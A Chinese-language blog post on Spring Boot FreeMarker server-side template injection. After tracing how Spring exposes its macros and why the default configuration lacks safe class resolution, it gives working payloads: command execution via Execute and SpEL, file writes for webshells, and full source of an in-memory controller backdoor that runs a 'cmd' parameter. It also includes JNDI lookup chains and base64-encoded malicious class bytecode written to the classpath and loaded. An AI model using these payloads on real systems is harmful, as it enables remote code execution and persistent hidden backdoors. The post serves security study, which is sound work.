Loading

SpringBoot下的SSTI攻击方式

springboot SSTI 攻击

前置知识

环境整合可以看这篇文章: Spring Boot 整合 Freemarker 模板引擎 - spring 中文网

在文章中也介绍了关于 springboot 中定义的 freemarker 宏的一些知识

spring.freemarker.expose-spring-macro-helpers 设置为 true 可以暴露 spring 官方提供的宏。这些宏提供了国际化、表单绑定等等功能。

这些宏定义在 spring-webmvc 模块的 /org/springframework/web/servlet/view/freemarker/spring.ftl 文件中。

image-20250813093633465

springMacroRequestContext 的定义是在 org.springframework.web.servlet.view.AbstractTemplateView 中

image-20250813093759999

在 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 方法中可以看到 springMacroRequestContext 是向 freemarker 模板中绑定的 org.springframework.web.servlet.support.RequestContext 类

image-20250813094059516

RequestContext

image-20250813102521015

这里 RequestContext 没有继承 TemplateModel 为什么在宏定义文件中可以使用${springMacroRequestContext.getMessage(" welcome.message ")} 调用方法呢?

答案也很简单,我们跟一些 Model 的传递过程,不难发现在 freemarker.template.Template#createProcessingEnvironment 方法中,对传递的 HashMap 统一做了封装

public Environment createProcessingEnvironment(Object dataModel, Writer out, ObjectWrapper wrapper) throws TemplateException, IOException {
    TemplateHashModel dataModelHash;
    if (dataModel instanceof TemplateHashModel) {
        dataModelHash = (TemplateHashModel)dataModel;
    } 

简单使用 spring 中的宏可以参考:https://springdoc.cn/spring/web.html#mvc-view-freemarker-forms

创建 PersonForm 类

package com.lingx5.springssti;

public class PersonForm {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

表单模板 form.ftl

<#import "/spring.ftl" as spring/>
<html>
<form action="" method="POST">
    Name:
    <@spring.bind "personForm.name"/>
    <input type="text"
           name="${spring.status.expression}"
           value="${spring.status.value!""}"/><br />
    <#list spring.status.errorMessages as error> <b>${error!"Error"}</b> <br /> </#list>
    <br />
    <input type="submit" value="submit"/>
</form>
</html>

结果表单 result.ftl

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Form Result</title>
</head>
<body>
    <h1>Form Submitted Successfully</h1>
    <p>Name: ${personForm.name!"Unknown"}</p>
</body>
</html>

请求处理器 FormController

package com.lingx5.springssti.controller;

import com.lingx5.springssti.PersonForm;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;

@Controller
public class FormController {

    @GetMapping("/form")
    public String showForm(Model model) {
        model.addAttribute("personForm", new PersonForm());
        return "form";
    }

    @PostMapping("/form")
    public String submitForm(@ModelAttribute PersonForm personForm, Model model) {
        model.addAttribute("personForm", personForm);
        return "result";
    }
}

image-20250813112848475

可以在 org.springframework.web.servlet.view.AbstractTemplateView#renderMergedOutputModel 中打断点

image-20250813113202549

看看 Spring 是如何加载宏,如何调用的

启动项目,访问 http://localhost:8080/form 来到断点处

image-20250813113512136

我们接着跟 model 的处理流程

步入 FreeMarkerView#renderMergedTemplateModel,看到 exposeHelpers 是空方法

image-20250813113626410

接着进入 doRender 其中 exposeModelAsRequestAttributes 是把 model 对应的键值对,暴露 为 HTTP 请求(HttpServletRequest)的属性。

image-20250813121737589

步入 buildTemplateModel ,看到他把 model 封装为了 AllHttpScopesHashModel 这个类

image-20250813122501543

继承了 SimpleHash

image-20250813122549914

接着到 FreeMarkerView#processTemplate 方法 , 后面的 env.process() 就是模板识别填充的执行了

image-20250813122733029

跟一下 freemarker.template.Template#createProcessingEnvironment 方法,把 model 强转为了 TemplateHashModel 类

image-20250813122920074

这基本就是我们可以直接调用的原因

调用栈

image-20250813123847798

安全策略

在 spring 3.5.4 虽然默认添加的 freemarker 的 starter 依赖包虽然为 2.3.34 版本

image-20250814090441098

但是在 springboot 的 freemarker.template.Configuration 初始化的时候 (用户不做更改的情况下) 默认配置为 freemarker 2.3.0 版本

image-20250814090727799

image-20250814090741369

这就意味着安全策略 unsafeMethods.properties 并没有引入,且没有引入 TemplateClassResolver.SAFER_RESOLVER 安全策略防范 ?new() 创建实例

payload

Execute

  ${"freemarker.template.utility.Execute"?new()("calc")}

image-20250814093019568

写文件

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","d:\\1.txt").append("aaaaaa").close()}

image-20250814093946236

默认路径为 项目根路径,要写木马的话还需要知道项目内部路径,

${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileWriter","1a.jsp").append("aaaaaa").close()}

image-20250814095740234

但是 springboot3 以后默认不支持 jsp 解析,在 springboot2 中,只能写到 /WEB-INF/jsp/

Spring Boot 3.0 no longer supports JSPs.
If you want to use JSPs, you need to deploy your application as a traditional WAR to a servlet container.

如果写文件还是写定时任务,执行反弹 shell 吧,也有师傅研究了在 java 层面如何命令执行:springboot 写文件到 RCE

SPEL exec

${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")").getValue()}

image-20250814101541840

SPEL 内存马

首先 spring 下的内存马有两种 controller 和 Interceptor 内存马,本质其实和 tomcat 中内存马的原理是一致的,都是请求处理器的动态注册。不了解的话可以看 这篇文章

springboot 中常见的内存马代码

适用于 spring framework 6.0 (springboot 3.x) 以前

因为 Spring Framework 6.0(对应 Spring Boot 3.x),默认启用 PathPattern 匹配,旧构造方式与默认策略不兼容,实际等同于“不可用/易出错”,应完全迁移到 Builder,及 RequestMappingInfo.paths(...).methods(...).options(...).build() 构造方式 ,且 urlLookup 切换为 pathLookup

public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {

    final String controllerPath = "/su18";

    // 获取当前应用上下文
    WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

    // 通过 context 获取 RequestMappingHandlerMapping 对象
    RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

    // 获取父类的 MappingRegistry 属性
    Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
    f.setAccessible(true);
    Object mappingRegistry = f.get(mapping);

    // 反射调用 MappingRegistry 的 register 方法
    Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

    Method[] ms = c.getDeclaredMethods();

    // 判断当前路径是否已经添加
    Field field = c.getDeclaredField("urlLookup");
    field.setAccessible(true);

    Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
    for (String urlPath : urlLookup.keySet()) {
        if (controllerPath.equals(urlPath)) {
            response.getWriter().println("controller url path exist already");
            return;
        }
    }

    // 初始化一些注册需要的信息
    PatternsRequestCondition       url       = new PatternsRequestCondition(controllerPath);
    RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
    RequestMappingInfo             info      = new RequestMappingInfo(url, condition, null, null, null, null, null);

    Class<?> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING);

    for (Method method : ms) {
        if ("register".equals(method.getName())) {
            // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
            method.setAccessible(true);
            method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
            response.getWriter().println("spring controller add");
        }
    }
}

在 spring framework 6.0 以后,稍加修改,原理不变

import jakarta.servlet.http.HttpServletRequest;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
import java.util.Locale;

public class memController {
    public static ResponseEntity<String> test() {
        String stdout;
        try {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            boolean isWindows = System.getProperty("os.name").toLowerCase(Locale.ROOT).contains("win");
            Charset charset = isWindows ? Charset.forName("GBK") : Charset.forName("UTF-8");
            String cmd = request.getParameter("cmd");
            String[] cmdArray = new String[]{"/bin/bash", "-c", cmd};
            if(isWindows){
                cmdArray = new String[]{"cmd.exe", "/c", cmd};
            }
            Process process = Runtime.getRuntime().exec(cmdArray);
            stdout = new String(process.getInputStream().readAllBytes(),
                    charset);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
        return ResponseEntity.ok(stdout);
    }
    static {
        try {
            final String PATH = "/evilController";


            ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
            HttpServletRequest request1 = attributes.getRequest();
            WebApplicationContext webApplicationContext = RequestContextUtils.findWebApplicationContext(request1);
            RequestMappingHandlerMapping mapping = webApplicationContext.getBean("requestMappingHandlerMapping", RequestMappingHandlerMapping.class);
            Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
            f.setAccessible(true);
            Object mappingRegistry = f.get(mapping);
            RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration();
            config.setPatternParser(new PathPatternParser());
            RequestMappingInfo requestMappingInfo =
                    RequestMappingInfo.paths(PATH).methods(RequestMethod.GET).options(config).build();

            Method register = mappingRegistry.getClass().getDeclaredMethod("register", Object.class, Object.class, Method.class);
            register.setAccessible(true);
            Method method = memController.class.getDeclaredMethod("test");
            register.invoke(mappingRegistry, requestMappingInfo, new memController(), method);

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

现在项目中测试 , 直接在 IndexController 中 加入 new memController()

image-20250814152656135

访问 IndexController

image-20250814152806155

然后就可以访问内存马了

http://localhost:8080/evilController?cmd=whoami
image-20250814152920295

测试成功打入了内存马

SPEL+JNDI 远程加载

可以打配合,但是没办法直接把 trustURLCodebase 改为 true,因为容器启动过程中会初始化,可以配合 java-JNDI(二)高版本绕过 来实现攻击,如果有反序列化可以打的话,也可以实现内存马

<#assign pas="{new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas).getValue()}

SPEL+JNDI 本地加载

不过当然我们当时分析 JNDI 攻击流程的时候,曾经也提到过这样一个特性

JNDI 为了提高性能快速加载,会先从本地的 classpath 路径下搜索这个类,有就直接加载,没有trustURLCodebase的限制,如果没有类才去远程加载

根据这一特性,我们可以先写文件到 classpath 路径下,然后再去用 jndi 加载 , 这里先用弹计算器的字节码测试

<#assign pathPas="T(java.lang.Thread).currentThread().getContextClassLoader().getResource(\"\").toString().substring(6)+\"Exec.class\"">
<#assign path="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pathPas).getValue()?string>
${path}
<#assign evilBase64="yv66vgAAADQAHgoABwARCgASABMIABQKABIAFQcAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHABYBAApTb3VyY2VGaWxlAQAJRXhlYy5qYXZhDAAIAAkHABkMABoAGwEABGNhbGMMABwAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24BAARFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAAHQABAAEAAAAFKrcAAbEAAAABAAsAAAAGAAEAAAADAAgADAAJAAEACgAAAEcAAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQACAAsAAAASAAQAAAAGAAkACQAMAAcADQAKAA0AAAAHAAJMBwAOAAABAA8AAAACABA=">
<#assign decPas="T(java.util.Base64).getDecoder()">
<#assign decoder="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(decPas).getValue()>
${decoder}
<#assign bytes=decoder.decode(evilBase64)>
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream",path).write(bytes)}
<#assign pas2="{T(java.lang.System).setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\"),T(java.lang.System).setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"),new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas2).getValue()}

可以成功执行

image-20250819224040777 image-20250819224133300

把 evilBase64 换为内存马的类,把 rmi 的地址改一下,就可以实现内存马了

内存马Payload
<#assign pathPas="T(java.lang.Thread).currentThread().getContextClassLoader().getResource(\"\").toString().substring(6)+\"memController.class\"">
<#assign path="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pathPas).getValue()?string>
${path}
<#assign evilBase64="yv66vgAAAD0BAgoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsHAA4BAEBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzCgANABAMABEAEgEACmdldFJlcXVlc3QBACsoKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7CAAUAQAHb3MubmFtZQoAFgAXBwAYDAAZABoBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwkAHAAdBwAeDAAfACABABBqYXZhL3V0aWwvTG9jYWxlAQAEUk9PVAEAEkxqYXZhL3V0aWwvTG9jYWxlOwoAIgAjBwAkDAAlACYBABBqYXZhL2xhbmcvU3RyaW5nAQALdG9Mb3dlckNhc2UBACYoTGphdmEvdXRpbC9Mb2NhbGU7KUxqYXZhL2xhbmcvU3RyaW5nOwgAKAEAA3dpbgoAIgAqDAArACwBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWggALgEAA0dCSwoAMAAxBwAyDAAzADQBABhqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwgANgEABVVURi04CAA4AQADY21kCwA6ADsHADwMAD0AGgEAJ2pha2FydGEvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcggAPwEACS9iaW4vYmFzaAgAQQEAAi1jCABDAQAHY21kLmV4ZQgARQEAAi9jCgBHAEgHAEkMAEoASwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwoARwBNDABOAE8BAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAUQBSBwBTDABUAFUBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsKAFcAWAcAWQwAWgBbAQATamF2YS9pby9JbnB1dFN0cmVhbQEADHJlYWRBbGxCeXRlcwEABCgpW0IKACIAXQwABQBeAQAfKFtCTGphdmEvbmlvL2NoYXJzZXQvQ2hhcnNldDspVgcAYAEAE2phdmEvaW8vSU9FeGNlcHRpb24HAGIBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgoAYQBkDAAFAGUBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAGcAaAcAaQwAagBrAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5AQACb2sBAD0oTGphdmEvbGFuZy9PYmplY3Q7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7CABtAQAPL2V2aWxDb250cm9sbGVyCgBvAHAHAHEMAHIAcwEAO29yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvc3VwcG9ydC9SZXF1ZXN0Q29udGV4dFV0aWxzAQAZZmluZFdlYkFwcGxpY2F0aW9uQ29udGV4dAEAYihMamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7CAB1AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwcAdwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcLAHkAegcAewwAfAB9AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAAdnZXRCZWFuAQA3KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAgB/DACAAIEBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsKAIMAhAcAhQwAhgCBAQAPamF2YS9sYW5nL0NsYXNzAQANZ2V0U3VwZXJjbGFzcwgAiAEAD21hcHBpbmdSZWdpc3RyeQoAgwCKDACLAIwBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7CgCOAI8HAJAMAJEAkgEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAI4AlAwAlQCWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAJgBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uCgCXAAMHAJsBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIKAJoAAwoAlwCeDACfAKABABBzZXRQYXR0ZXJuUGFyc2VyAQA7KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXI7KVYKAKIAowcApAwApQCmAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQBcKFtMamF2YS9sYW5nL1N0cmluZzspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsHAKgBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAkApwCqDACrAKwBAANHRVQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNZXRob2Q7CwCuAK8HALAMALEAsgEARW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcgEAB21ldGhvZHMBAIEoW0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZDspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AtAwAtQC2AQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsLAK4AuAwAuQC6AQAFYnVpbGQBAEEoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwgAvAEACHJlZ2lzdGVyBwC+AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kCgCDAMAMAMEAwgEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAvQCPBwDFAQANbWVtQ29udHJvbGxlcggAxwEABHRlc3QKAMQAAwoAvQDKDADLAMwBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAM4BABNqYXZhL2xhbmcvRXhjZXB0aW9uCgDNANAMANEABgEAD3ByaW50U3RhY2tUcmFjZQEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9saW5neDUvbWVtU2hlbGwvbWVtQ29udHJvbGxlcjsBACsoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQAHcmVxdWVzdAEAKUxqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAJaXNXaW5kb3dzAQABWgEAB2NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNtZEFycmF5AQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAGc3Rkb3V0AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAOABAAlTaWduYXR1cmUBAD8oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk8TGphdmEvbGFuZy9TdHJpbmc7PjsBAAg8Y2xpbml0PgEABFBBVEgBAAphdHRyaWJ1dGVzAQBCTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXM7AQAIcmVxdWVzdDEBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAWYBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQASTGphdmEvbGFuZy9PYmplY3Q7AQAGY29uZmlnAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAScmVxdWVzdE1hcHBpbmdJbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZtZXRob2QBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAApTb3VyY2VGaWxlAQASbWVtQ29udHJvbGxlci5qYXZhAQAMSW5uZXJDbGFzc2VzAQAUQnVpbGRlckNvbmZpZ3VyYXRpb24BAAdCdWlsZGVyACEAxAACAAAAAAADAAEABQAGAAEA0gAAAC8AAQABAAAABSq3AAGxAAAAAgDTAAAABgABAAAAFADUAAAADAABAAAABQDVANYAAAAJAMcA1wACANIAAAF0AAQABwAAAJK4AAfAAA22AA9MEhO4ABWyABu2ACESJ7YAKT0cmQALEi24AC+nAAgSNbgAL04rEje5ADkCADoEBr0AIlkDEj5TWQQSQFNZBRkEUzoFHJkAGAa9ACJZAxJCU1kEEkRTWQUZBFM6BbgARhkFtgBMOga7ACJZGQa2AFC2AFYttwBcS6cADUy7AGFZK7cAY78quABmsAABAAAAgACDAF8AAwDTAAAANgANAAAAGAAKABkAGwAaAC0AGwA3ABwATAAdAFAAHgBlACAAbwAhAIAAJQCDACMAhAAkAI0AJgDUAAAAXAAJAAoAdgDYANkAAQAbAGUA2gDbAAIALQBTANwA3QADADcASQA4AN4ABABMADQA3wDgAAUAbwARAOEA4gAGAIAAAwDjAN4AAACEAAkA5ADlAAEAjQAFAOMA3gAAAOYAAAAqAAX+ACcABwA6AUQHADD+ADgHADAHACIHAOf/AB0AAAABBwBf/AAJBwAiAOgAAAACAOkACADqAAYAAQDSAAAB2AAHAAsAAADdEmxLuAAHwAANTCu2AA9NLLgAbk4tEnQSdrkAeAMAwAB2OgQZBLYAfrYAgrYAghKHtgCJOgUZBQS2AI0ZBRkEtgCTOga7AJdZtwCZOgcZB7sAmlm3AJy2AJ0EvQAiWQMSbFO4AKEEvQCnWQOyAKlTuQCtAgAZB7kAswIAuQC3AQA6CBkGtgB+ErsGvQCDWQMSAlNZBBICU1kFEr1TtgC/OgkZCQS2AMMSxBLGA70Ag7YAvzoKGQkZBga9AAJZAxkIU1kEuwDEWbcAyFNZBRkKU7YAyVenAAhLKrYAz7EAAQAAANQA1wDNAAMA0wAAAFIAFAAAACoAAwAtAAoALgAPAC8AFAAwACMAMQA1ADIAOwAzAEQANABNADUAWQA2AGIANwCCADkAoQA6AKcAOwC0ADwA1ABAANcAPgDYAD8A3ABCANQAAAB6AAwAAwDRAOsA3gAAAAoAygDsAO0AAQAPAMUA7gDZAAIAFADAAO8A8AADACMAsQDxAPIABAA1AJ8A8wD0AAUARACQAIgA9QAGAE0AhwD2APcABwCCAFIA+AD5AAgAoQAzALwA+gAJALQAIAD7APoACgDYAAQA5AD8AAAA5gAAAAkAAvcA1wcAzQQAAgD9AAAAAgD+AP8AAAASAAIAlwCiAQAACQCuAKIBAQYJ">
<#assign decPas="T(java.util.Base64).getDecoder()">
<#assign decoder="freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(decPas).getValue()>
${decoder}
<#assign bytes=decoder.decode(evilBase64)>
${"freemarker.template.utility.ObjectConstructor"?new()("java.io.FileOutputStream",path).write(bytes)}
<#assign pas2="{T(java.lang.System).setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\"),T(java.lang.System).setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"),new javax.naming.InitialContext().lookup(\"rmi://localhost:1099/mem\")}">
${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression(pas2).getValue()}

访问index打入

image-20250822194951808

成功写入

image-20250822195012874

也可以直接使用 Mlet 封装上下文 classloader 来加载类,实现内存马

new javax.management.loading.MLet(new java.net.URL[0],Thread.currentThread().getContextClassLoader())

SPEL+Mlet 加载 (jdk8-16)

因为 ReflectUtils#defineClass() 方法 本质上调用的就是 Class.ClassLoader.defineClass() 方法,在JDK 9 引入 JPMS(Java Platform Module System)开始,核心类库被“强封装”。java.base 模块默认 不会把 java.lang 包打开给未命名模块这个特性,在jdk9-16中只会警告是不安全的,不会拦截,但在jdk17中直接抛异常。绕过具体可以参考 JDK17+绕过反射限制 - Zer0peach can't think

